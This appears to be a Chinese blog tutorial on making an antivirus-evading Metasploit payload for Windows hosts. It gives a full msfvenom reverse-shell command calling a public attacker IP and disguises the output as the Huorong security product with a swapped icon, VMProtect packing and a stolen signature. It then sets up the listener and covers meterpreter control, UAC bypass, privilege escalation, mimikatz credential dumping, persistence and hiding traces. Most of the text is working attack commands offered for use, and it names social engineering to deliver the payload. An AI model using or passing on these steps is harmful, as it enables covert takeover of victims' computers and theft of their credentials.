一次msf免杀渗透入门实践

攻击对象:windows主机

一.shell制作

1.准备工具

复制代码
kali-linux
Metasploit模块(msfvenom和msfconsole)
VMP加壳软件
https://gitcode.com/Universal-Tool/42a67/blob/main/VMProtect%20Ultimate%20v3.3.1.zip
sigthief签名软件
https://github.com/secretsquirrel/SigThief
ResHacker资源替换软件https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/ResHacker.zip

2.创建shell(编码加密+捆绑软件)

复制代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.239.21.238 LPORT=1235 -e x86/shikata_ga_nai -x test.exe -i 12 -f exe -O huorong.exe 

-p:指定payload类型为Windows Meterpreter反向TCP连接

LHOST:控制端IP地址

LPORT:控制端监听端口

-e x86/shikata_ga_nai:指定编码器为shitaka_ga_nai(一种多态编码器,适合x86架构)

-x test.exe:指定要捆绑的原始可执行文件

-i 12:指定12次编码(多次编码可以增强免杀效果,但会增加文件大小)

-f exe:指定输出格式为windows可执行文件

-O:输出shell到指定文件

3.替换资源

用RH替换火绒的图标

4.vmp加壳

打开vmp,使用vmp进行加壳

5.数字签名

将sigthief.py文件放在当前目录下

复制代码
python sigthief.py -i HipsMain.exe -t huorong.exe -o hr.exe

-i:要提取签名的文件

-t:应用签名的文件

-o:输出的目标文件

6.查杀结果(23/72)

说实话,这个免杀还是太简陋了点,应该再加点pe修改或多次加密,最好是自研脚本(1/62的查杀率:D)

二.远程控制

tip(核心难点:通过社工把这个shell安然无恙放到目标主机上,当然要是对方电脑上啥安全措施都没就当我没说)

1.打开msfconsole

复制代码
msfconsole

2.选择监听器

复制代码
use exploit/multi/handler

exploit/multi/handler:一个多功能监听器(建立监听岗位)

3.配置载荷

复制代码
set payload windows/meterpreter/reverse_tcp

windows/meterpreter/reverse_tcp:建立一个反向TCP连接(由机器内部向外网发起连接,更容易成功)

4.配置攻击机设置

复制代码
set LHOST 47.239.21.238
set LPORT 1235

这里的LHOST与LPORT必须跟木马的一致

5.显示配置

复制代码
show options

6.开始监听

复制代码
exploit(或run)

当木马在目标机上运行时,攻击机就能与目标机进行连接从而实现控制目的

三.控制指令

复制代码
run vnc -i#监视屏幕
upload ./oriFile ./desName#上传文件到靶机
download ./desFile ./local#下载靶机文件
shell#进入靶机终端
sysinfo#显示靶机基本信息
screenshot#屏幕截图

四. 反病毒与防御绕过

在实际渗透测试中,防病毒软件、入侵检测系统(IDS)、入侵防御系统(IPS)等防御措施通常会成为绕过攻击的一个大难题。为了提高渗透测试成功的几率,理解如何绕过这些防御措施是非常重要的。

1. 反病毒绕过

反病毒软件通常通过签名检测、行为分析和沙箱技术来发现和拦截恶意软件。针对这些防御技术,可以采用以下方法绕过:

  • 加密与编码 :通过多次编码和加壳来改变恶意代码的特征,使其难以被反病毒软件识别。例如,使用msfvenom的-e参数指定编码器,如x86/shikata_ga_nai,以及多次编码(-i参数)。

  • 使用多种加壳工具:除了VMP(VMProtect)之外,还可以使用其他加壳工具,如Themida、Enigma Protector等,来进一步增强木马的隐蔽性。

  • 注入合法进程:通过将恶意载荷注入到合法进程(如explorer.exe、svchost.exe)中,从而绕过反病毒软件的监控。

  • 利用签名伪装 :使用SigThief等工具获取有效的数字签名并伪装恶意文件,以提高木马的可信度。

2. 沙箱检测绕过

现代的反病毒软件往往会将未知程序发送到虚拟沙箱中执行,以检测其是否为恶意软件。为此,可以采取以下策略:

  • 延迟执行:通过在恶意代码中加入延时代码,推迟代码执行的时间,从而避免在沙箱中被立即检测到。

  • 反沙箱检测:通过检查系统环境(如检测是否处于虚拟机中),在程序启动时决定是否执行恶意载荷。

3. 反入侵检测系统(IDS/IPS)绕过

入侵检测和防御系统的目的是监控和拦截网络中的恶意行为。为了绕过这些系统,可以采取以下技术:

  • 流量加密:通过加密通信流量,防止IDS/IPS检测到恶意流量的特征。

  • 变换攻击模式:通过变换攻击的方式(如对shellcode进行变形或使用不同的攻击方法),使得攻击流量不易被IDS/IPS的规则库检测到。

五. 后渗透技巧

一旦成功获取了目标主机的控制权,后渗透阶段的目标通常是扩大权限、横向移动和收集更多的信息。以下是一些常见的后渗透技巧:

1. 权限提升
  • 利用弱密码:通过暴力破解或字典攻击,获取目标主机上的管理员权限。

  • 利用漏洞:针对操作系统或应用程序中的已知漏洞(如MS17-010 EternalBlue)进行漏洞利用,提升权限。

2. 横向移动
  • Pass-the-Hash:通过捕获目标主机上的哈希值,将其用作身份验证,访问同一网络中的其他主机。

  • RDP攻击:利用已获取的凭证,通过远程桌面协议(RDP)访问其他目标主机。

3. 信息收集
  • 系统信息收集 :使用sysinfoipconfignetstat等命令收集目标主机的基本信息。

  • 凭证抓取 :使用mimikatz等工具抓取目标主机上的明文密码、存储在Windows凭据管理器中的密码、LSA凭证等。

4. 保持持久性
  • 植入反向Shell:通过修改注册表或启动项,确保恶意代码在每次重启后自动运行。

  • 建立反向连接 :利用如netcat等工具,配置目标主机与攻击机之间的反向连接,保持持久的访问权限。

六. 防御与检测

了解防御技术对于渗透测试者来说至关重要。只有了解了防御方的做法,才能设计有效的攻击策略。

1. 反病毒与IDS/IPS监控

反病毒软件通常会监控文件系统中的可疑活动,IDS/IPS会监控网络流量。渗透测试者需要了解如何绕过这些监控,或者模拟防御方可能采取的反制措施。

2. 日志审计与分析

许多组织会启用日志记录功能,特别是针对管理员权限的操作。日志审计可以帮助检测异常行为。因此,攻击者需要注意隐藏操作痕迹,甚至伪造日志条目。

3. 基于行为的检测

许多高级反病毒软件和IDS/IPS系统都采用了行为分析,检测程序是否表现出恶意行为。因此,攻击者需要避免使用常见的攻击模式,并尽量使攻击行为更隐蔽

拓展内容:

1.msfconsole相关命令

复制代码
常用模块
use auxiliary/scanner/smb/smb_ms17_010#探测是否存在MS17-010漏洞模块
use exploit/windows/smb/ms17_010_eternalblue#利用永恒之蓝模块
常用监听器配置
set ExitOnSession false#接收多个会话
exploit -j#让监听器在后台运行
set AutoRunScript post/windows/manage/migrate自动迁移进程(避免程序关闭导致会话丢失)
常用payload
set payload windows/meterpreter/reverse_tcp#反向TCP
set payload windows/x64/meterpreter/reverse_tcp#针对x64的反向TCP
set payload windows/meterpreter/reverse_https#反向HTTPS
set payload windows/meterpreter/bind_tcp#绑定TCP
set payload linux/x64/meterpreter/reverse_tcp#linux系统反向TCP
set payload android/meterpreter/reverse_tcp#安卓应用反向TCP

2.在msf中使用kiwi(Mimikatz)模块

(1).手动方法:
复制代码
upload mimikatz.exe C:\\Windows\\Temp\\e.exe#手动上传对应版本的mimikatz
shell#打开cmd
cd /d C:\\Windows\\Temp#切换当前目录
e.exe "privilege::debug" "sekurlsa::logonpasswords" exit#获取明文密码
(2).交互方法:

提权(如果当前权限非Administrator或System时):

方法一:

复制代码
getuid#查看当前系统权限
getsystem#多数情况下不能获取,可以试一下

方法二:

复制代码
background#把会话放到后台
use exploit/windows/local/bypassuac#尝试绕过UAC
set session [UID]#设置会话
exploit

方法三:

复制代码
use exploit/windows/local/ask#利用UAC提权
set session [UID]
set FILENAME System32.exe#设置一个迷惑的名字
exploit
##靶机只要允许程序运行即可提权

如果以上方法都不行:

复制代码
run post/multi/recon/local_exploit_suggester#尝试本地提权漏洞检查

查看当前权限:

复制代码
run post/windows/gather/win_privs#如果在本地管理员组就能用kiwi

kiwi相关用法:

复制代码
load kiwi#加载kiwi模块
creds_all#列举所有凭据
creds_msv#列举所有msv凭据
creds_ssp#列举所有ssp凭据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz命令
kiwi_cmd privilege::debug#尝试获取debug权限
kiwi_cmd sekurlsa::logonpasswords#使用kiwi抓取全部明文密码

参考资料:https://blog.csdn.net/weixin_46236101/article/details/114745232

https://blog.csdn.net/weixin_74545038/article/details/134315726

https://blog.csdn.net/m0_65712192/article/details/127637917

相关推荐
A小辣椒1 天前
TShark:Wireshark CLI 功能
linux
A小辣椒1 天前
TShark:基础知识
linux
AlfredZhao1 天前
OCI 明明分配了 200G 系统盘,为什么 df 只看到 30G?
linux·oci
AlfredZhao2 天前
vi 删除指定范围的行,不用再反复按 dd
linux·vi
用户9718356334662 天前
银河麒麟 KY10 申威(SW64) 安装 nginx-1.16.1-2.p01.ky10.sw_64.rpm 详细步骤
linux
猪脚踏浪2 天前
linux 拷贝文件或目录到指定的位置
linux
摇滚侠3 天前
Linux CentOS7 rpm 安装 MySQL 5.7
linux·运维·mysql
bush43 天前
嵌入式linux学习记录十四、术语
linux·嵌入式
载数而行5203 天前
Linux 11 动态监控指令top
linux
SM177152118383 天前
NSK紧凑型FA系列丝杠技术详解
经验分享·规格说明书